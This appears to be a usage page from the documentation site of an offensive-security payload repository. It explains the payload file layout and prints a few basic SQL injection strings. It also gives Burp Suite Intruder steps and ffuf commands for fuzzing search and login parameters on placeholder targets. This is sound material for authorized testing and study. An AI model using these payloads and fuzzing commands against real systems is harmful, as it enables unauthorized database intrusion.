Usage

How to navigate and use the payload files in authorized security testing.

Usage

Navigating the Repository

Each vulnerability category is a self-contained directory. Start with the README.md for context, then use the payload file for testing.

bash

# Read the vulnerability overview
cat SQL-Injection/README.md

# View the payloads
cat SQL-Injection/sql-injection-payloads.txt

# Search for a specific technique
grep -i "union" SQL-Injection/sql-injection-payloads.txt
grep -i "time" SQL-Injection/sql-injection-payloads.txt

Payload File Format

Payload files are plain text with comment lines prefixed by #:

bash

# Basic SQL injection
'
''
' OR '1'='1
' OR 1=1--

# Union-based SQL injection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

Comment lines describe the technique for the block of payloads that follows.

Using Payloads with Burp Suite

Open Burp Suite → Intruder

Mark the injection point with § § delimiters

Go to Payloads → Payload type: Simple list

Click Load and select the .txt file from the repository

Start the attack and review responses for anomalies

Using Payloads with ffuf

bash

# Fuzz a parameter with SQL injection payloads
ffuf -u "https://target.example.com/search?q=FUZZ" \
     -w SQL-Injection/sql-injection-payloads.txt \
     -mc 200,500 \
     -fs 1234

# POST body fuzzing
ffuf -u "https://target.example.com/login" \
     -X POST \
     -d "username=FUZZ&password=test" \
     -w SQL-Injection/sql-injection-payloads.txt \
     -H "Content-Type: application/x-www-form-urlencoded"

Filtering Payloads

Strip comment lines for tools that expect clean wordlists:

bash

grep -v '^#' SQL-Injection/sql-injection-payloads.txt > sqli-clean.txt
grep -v '^#' SQL-Injection/sql-injection-payloads.txt | grep -v '^$' > sqli-clean.txt

Combining Categories

For comprehensive testing, you can concatenate relevant payload files:

bash

cat SQL-Injection/sql-injection-payloads.txt \
    NoSQL-Injection/nosql-injection-payloads.txt \
    > all-injection-payloads.txt

Working with This Documentation Site

This site provides a rendered view of the repository content. Each payload page includes:

Structured sections with copyable payload blocks

Testing methodology and context

Detection and mitigation guidance

Links back to the upstream repository files